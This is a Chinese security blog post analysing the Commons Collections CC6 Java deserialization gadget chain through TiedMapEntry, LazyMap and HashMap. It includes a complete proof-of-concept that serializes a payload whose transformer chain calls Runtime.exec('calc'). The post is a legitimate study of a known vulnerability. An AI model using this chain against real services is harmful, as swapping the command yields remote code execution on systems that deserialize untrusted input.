F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • php安全

  • python安全

  • Java安全

    • Java反射特性摘要
    • Java反序列化-URLDNS
    • Java反序列化-CC1
    • Java反序列化-CC5
    • Java反序列化-CC6
      • 环境配置
      • 利用点
      • 注意点
    • Fastjson(1)-初探以及利用方式
    • Fastjson(2)-TemplatesImpl利用链
    • 谈一谈Java动态加载字节码
    • RMI与JNDI(一)
  • 其他

  • 技术文章
  • Java安全
F4de
2020-11-15

Java反序列化-CC6

# 环境配置

环境配置

  • jdk 1.7、1.8均可触发
  • maven依赖:commons-collections3.1

# 利用点

CC6和CC5利用方式差不多,都是先构造了恶意的LazyMap,然后再去寻找可以调用LazyMap#get的地方,最终完成链式调用.

在org.apache.commons.collections.keyvalue.TiedMapEntry这个类(CC5中也是利用了它)中的hashCode方法中调用了getValue:

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
1
2
3
4
5
6
7
8
9
10
11
12
    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }
1
2
3
4
5
6
7
8

所以这里的利用点就是找到一个类在readObject的时候调用了hashCode方法,这样就可以触发TiedMapEntry#hashCode方法,从而完成Transformer的链式调用。

其实利用点就在CC1中所提到的hashMap中,它的readObject方法触发了hashCode:

image-20201115221620271

跟进putForCreate:

    /**
     * This method is used instead of put by constructors and
     * pseudoconstructors (clone, readObject).  It does not resize the table,
     * check for comodification, etc.  It calls createEntry rather than
     * addEntry.
     */
    private void putForCreate(K key, V value) {
        int hash = null == key ? 0 : hash(key);
        int i = indexFor(hash, table.length);

        /**
         * Look for preexisting entry for key.  This will never happen for
         * clone or deserialize.  It will only happen for construction if the
         * input Map is a sorted map whose ordering is inconsistent w/ equals.
         */
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash &&
                ((k = e.key) == key || (key != null && key.equals(k)))) {
                e.value = value;
                return;
            }
        }

        createEntry(hash, key, value, i);
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

调用了hash(key)方法,再跟进hash方法:

image-20201117204321941

调用了key#hashCode方法。然后我们再来看CC5中提到的TiedMapEntry类的hashCode方法:

image-20201117204439437

这里又调用了getVaule方法,再跟进,就调用了map.get方法。其实利用的方法和CC5都大同小异,只不过是触发LazyMap#get方法的入口函数变了一下,exp如下:

package ysoserial.MyExp.CCExp;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception{
//        Class<Runtime> runtimeClass = Runtime.class;
//        Method getRuntime = runtimeClass.getMethod("getRuntime");
//        Runtime runtime = (Runtime) getRuntime.invoke(null);
//        runtime.exec("calc");

        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
                "getRuntime",
                null,
            }),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
                null,
                null,
            }),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
                "calc",
            }),
        };
        Transformer[] transformers1 = new Transformer[] {
            new ConstantTransformer(2),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers1);
        Map hashMap = new HashMap();
        // 构造出恶意Map
        Map evilMap = LazyMap.decorate(hashMap, chainedTransformer);

        // 用恶意Map初始化TiedMapEntry类
        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "key");
        // 将构造好的TiedMapEntry对象作为HashMap的一个key
        HashMap hashMap1 = new HashMap();
        // put的时候会触发Map:key的get方法,所以先构造一个无害的ChainedTransformer对象用来初始化,之后再用反射修改值
        hashMap1.put(tiedMapEntry, "123");
        // 注意这里
        evilMap.remove("key");
        // 用反射设置把恶意构造的Transformer
        Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
        // 设置权限
        declaredFields.setAccessible(true);
        declaredFields.set(chainedTransformer, transformers);

        // hashMap1就是构造好的待序列化的恶意Map
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap1);
        objectOutputStream.close();

        // 本地测试序列化
        System.out.println(byteArrayOutputStream);
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();

    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

# 注意点

这个exp有一点需要注意:

image-20201117204917909

这里注意要把构造的map中的key给移除掉,原因是我们再调用上一行的put方法的时候也会调用一次hash方法,这样LazyMap#get方法还会额外触发一次,因为我们构造的evilMap中没有一个key为key的元素,所以就会被添加进去,所以这里需要把它移除掉。

image-20201117205234456

Java反序列化-CC5
Fastjson(1)-初探以及利用方式

← Java反序列化-CC5 Fastjson(1)-初探以及利用方式→

最近更新
01
RMI与JNDI(一)
01-29
02
Java8-Stream
01-03
03
谈一谈Java动态加载字节码的方式
12-18
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式